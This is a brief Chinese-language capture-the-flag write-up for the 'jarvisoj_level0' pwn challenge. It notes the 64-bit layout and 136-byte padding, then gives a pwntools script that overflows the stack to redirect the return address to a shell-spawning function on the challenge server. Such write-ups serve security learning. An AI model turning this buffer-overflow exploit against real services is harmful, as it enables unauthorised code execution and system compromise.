jarvisoj_level0 1

基础的pwn题

看到那个return的函数

记录点就是这是64位的，寄存器也是8个字节，所以辣鸡数据应该是136个字节
from pwn import *
p = remote('node4.buuoj.cn',29514)
payload = 'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()